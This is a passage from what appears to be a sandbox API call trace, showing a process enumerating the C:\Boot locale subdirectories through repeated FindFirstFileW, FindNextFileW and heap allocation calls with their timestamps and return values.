lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0111.079] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.079] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.079] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.079] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.079] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0111.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.079] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.079] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42508c0 [0111.101] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.101] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.101] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.101] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0111.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.101] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.101] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250c40 [0111.101] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.102] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.102] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.102] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.102] FindClose (in: hFindFile=0x4250c40 | out: hFindFile=0x4250c40) returned 1 [0111.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.102] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.102] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250980 [0111.105] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.105] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.105] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.106] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.106] FindClose (in: hFindFile=0x4250980 | out: hFindFile=0x4250980) returned 1 [0111.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.106] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.106] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.106] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250c00 [0111.107] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.107] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.107] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.107] FindNextFileW (in: hFindFile=0x4250c00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.107] FindClose (in: hFindFile=0x4250c00 | out: hFindFile=0x4250c00) returned 1 [0111.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.107] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.107] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250c40 [0111.108] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.108] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.108] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.108] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.108] FindClose (in: hFindFile=0x4250c40 | out: hFindFile=0x4250c40) returned 1 [0111.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.108] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.108] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e40 [0111.109] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.109] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.109] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.109] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0111.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.109] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.109] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e00 [0111.110] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.110] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.110] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.110] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0111.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.110] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.110] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.110] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0111.111] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.111] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.111] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.111] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.111] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0111.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.111] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.112] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250d40 [0111.112] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.112] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.112] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.112] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.112] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0111.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.112] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.112] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0111.114] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.114] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.114] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.114] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.114] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0111.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.114] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.114] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0111.115] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.115] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.115] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.115] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.115] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0111.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.115] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.115] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b40 [0111.116] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.116] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.116] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.116] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.117] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0111.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.117] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.117] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0111.117] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.117] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.117] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.117] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.117] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0111.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.117] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.118] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0111.118] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.118] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.118] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4271488 [0111.119] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 0x4250d40 [0111.119] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0111.119] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0111.119] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 0 [0111.119] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0111.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0111.120] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.120] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0111.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.120] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.120] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250a00 [0111.121] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.121] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.121] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.121] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0111.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.121] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.121] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250ac0 [0111.122] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.122] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.122] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.122] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.122] FindClose (in: hFindFile=0x4250ac0 | out: hFindFile=0x4250ac0) returned 1 [0111.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.122] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.122] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b40 [0111.122] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.122] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.123] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.123] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0111.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.123] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.123] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42509c0 [0111.124] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.124] FindClose (in: hFindFile=0x42509c0 | out: hFindFile=0x42509c0) returned 1 [0111.124] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.124] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250d40 [0111.124] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.124] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0111.125] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.125] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.125] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250a00 [0111.125] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.125] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.126] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.126] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0111.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.126] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.126] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b40 [0111.129] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.129] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.129] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.129] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.129] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0111.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.130] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.130] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250980 [0111.130] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.130] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.130] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.130] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.130] FindClose (in: hFindFile=0x4250980 | out: hFindFile=0x4250980) returned 1 [0111.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.130] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.130] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250fc0 [0111.131] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.131] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.131] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.131] FindClose (in: hFindFile=0x4250fc0 | out: hFindFile=0x4250fc0) returned 1 [0111.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.131] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.132] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.132] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42509c0 [0111.135] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.135] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.135] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.135] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.135] FindClose (in: hFindFile=0x42509c0 | out: hFindFile=0x42509c0) returned 1 [0111.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.136] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.136] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250900 [0111.136] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.136] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.136] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.136] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: 